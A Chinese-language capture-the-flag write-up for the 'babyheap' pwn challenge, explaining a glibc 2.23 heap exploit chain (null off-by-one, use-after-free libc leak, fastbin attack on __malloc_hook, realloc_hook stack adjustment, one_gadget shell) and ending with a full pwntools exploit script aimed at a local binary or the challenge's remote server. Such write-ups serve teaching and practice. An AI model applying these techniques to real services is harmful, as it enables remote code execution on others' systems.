攻防世界(pwn)babyheap(一些常见的堆利用方法)

前言: 此题攻击链路:null_off_by_one修改堆块信息 => UAF泄露libc基址和其他有用信息 => fastbin attack申请堆块到指定地址 => 利用realloc_hook来调整堆栈 => one_gadget get shell。
攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

64位程序,保护全开。
攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

程序提供增删查操作,没有改操作。由于题目已经给了libc-2.23文件(虽然给错了)说明远端库是2.23版本的,不是2.27的,在此,我们不用纠结这个。
我们继续往下看
攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

增操作在输入Data时的read_input操作中有明显的null_off_by_one,我们可以用他来修改下一堆块的inuse位,使得伪造出已申请堆块未申请得假象。
我们先申请堆块:
chunk0:

create(0x100, 'a' * 0x100)

攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

chunk1:
create(0x100, 'b' * 0x100)

攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

chunk2:
create(0x68, 'c' * 0x68)

攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

chunk3:
create(0x68, 'd' * 0x68)

攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

chunk4:
create(0x100, 'e' * 0x100)

攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

这里可以看到申请出来是这样子的。
由于没有改操作,我们只能先删除,然后再重新申请回来,这里就需要我们来考虑一下删除哪些堆块。
首先,我们要删除chunk2,为后面的fastbin attack做铺垫。
第二步,我们删除chunk3,然后申请回来修改chunk4的inuse位。
最后,chunk0我们要删除,因为chunk0删除之后会链入unsortedbin中,就会把main_area + 88处的地址写入到堆中,我们就可以进行泄露。
delete(2) delete(3) delete(0)payload = 'e' * 0x60 payload += p64(0x300) create(0x68, payload)

这里我们把chunk4的presize位改为0x300,将前面的堆块一起unlink。
做完这些,我们查看一下堆里的一些数据,发现chunk4的size位会被修改成0x100,看似没什么事,但其实在后面我们进行unlink操作时会出错,所以我们需要在申请chunk4时首先伪造一个小堆块就行。
create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))

攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

然后我们直接delete chunk4,系统会自动进行操作,把chunk4前面的堆块链入unsortedbin中。
记得我们前面把chunk0给删除了,我们现在把他重新申请回来,这样main_area + 88的地址就会写入chunk1,我们知道前面我们并没有删除chunk1,也就是我们现在可以利用UAF来泄露处main_area + 88的地址。
create(0x100, 'a' * 0x100) show() p.recvuntil('1 : ') main_area_88 = u64(p.recvuntil(' ', drop = True).ljust(8,'\x00')) print hex(main_area_88)

我们知道main_area + 88与malloc_hook的地址隔得比较近,最多不过后三位不同。
攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

而realloc_hook也在附近
攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

这样我们就可以直接泄露libc基址了
malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF) offset = malloc_hook - malloc_hook_sym realloc_hook = offset + realloc_sym gadget_addr = offset + gadget system = offset + libc.sym['system']

泄露完有用的信息后我们就要开始利用了。我们利用fastbin attack 错位构造来把堆块申请到malloc_hook - 0x23处。
攻防世界(pwn)babyheap(一些常见的堆利用方法)
文章图片

我们首先写入malloc_hook的地址,然后再申请两次就可以申请到malloc_hook了。
payload = 'f' * 0x100 payload += p64(0) + p64(0x71) payload += p64(malloc_hook - 0x23) create(0x118, payload)

然后我们的思路是把malloc_hook改为one_gadget,之后malloc时就能getshell了。但是行不通。
原因是什么呢?
有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
–来自看雪论坛
实际上就是把one_gadget写入到realloc_hook中,然后把realloc_hook写入malloc_hook中,这样做我们就可以通过realloc_hook的改写堆栈的操作来改变我们程序本身的堆栈。
经过调试,发现只需要+2就行。
create(0x68, 'g' * 0x68) payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8) payload += p64(realloc_hook + 2) payload += '\n' create(0x68, payload)

【攻防世界(pwn)babyheap(一些常见的堆利用方法)】这里再提醒一下,由于题目给的libc文件版本错误,这里建议不要用自己的(我的不能用),还是使用攻防世界中其他题目的libc-2.23.so文件,只要是64位的就行。
完整exp:
#! /usr/bin/env python from pwn import *local = 1 if local: p = process('./timu_so') else: p = remote('111.198.29.45', 34070)debug = 0 if debug: context.log_level = 'debug'libc = ELF('./libc.so.6') elf = ELF('./timu_so')malloc_hook_sym = libc.sym['__malloc_hook'] realloc_sym = libc.sym['realloc'] gadget = 0x4526a #0x4526a0x452160xf02740xf1117 def create(size, content): p.sendlineafter('Your choice :\n', '1') p.sendlineafter('Size:', str(size)) p.sendafter('Data:', content)def delete(index): p.sendlineafter('Your choice :\n', '2') p.sendlineafter('Index:', str(index))def show(): p.sendlineafter('Your choice :\n', '3')create(0x100, 'a' * 0x100) create(0x100, 'b' * 0x100) create(0x68, 'c' * 0x68) create(0x68, 'd' * 0x68) create(0x100, 'e' * (0x100 - 16) + p64(0x100) + p64(0x11))delete(2) delete(3) delete(0)payload = 'e' * 0x60 payload += p64(0x300) create(0x68, payload)delete(4) create(0x100, 'a' * 0x100) show() p.recvuntil('1 : ') main_area_88 = u64(p.recvuntil(' ', drop = True).ljust(8,'\x00')) print hex(main_area_88) malloc_hook = (main_area_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF) offset = malloc_hook - malloc_hook_sym realloc_hook = offset + realloc_sym gadget_addr = offset + gadget system = offset + libc.sym['system']payload = 'f' * 0x100 payload += p64(0) + p64(0x71) payload += p64(malloc_hook - 0x23) create(0x118, payload)create(0x68, 'g' * 0x68) payload = '\x00' * 0xB + p64(gadget_addr) + '\x00' * (0x13 - 0xB - 0x8) payload += p64(realloc_hook + 2) payload += '\n' create(0x68, payload)p.sendlineafter('Your choice :\n', '1') p.sendlineafter('Size:', '$0')p.interactive()

参考链接: https://blog.csdn.net/seaaseesa/article/details/103173435 https://bbs.pediy.com/thread-246786.htm

    推荐阅读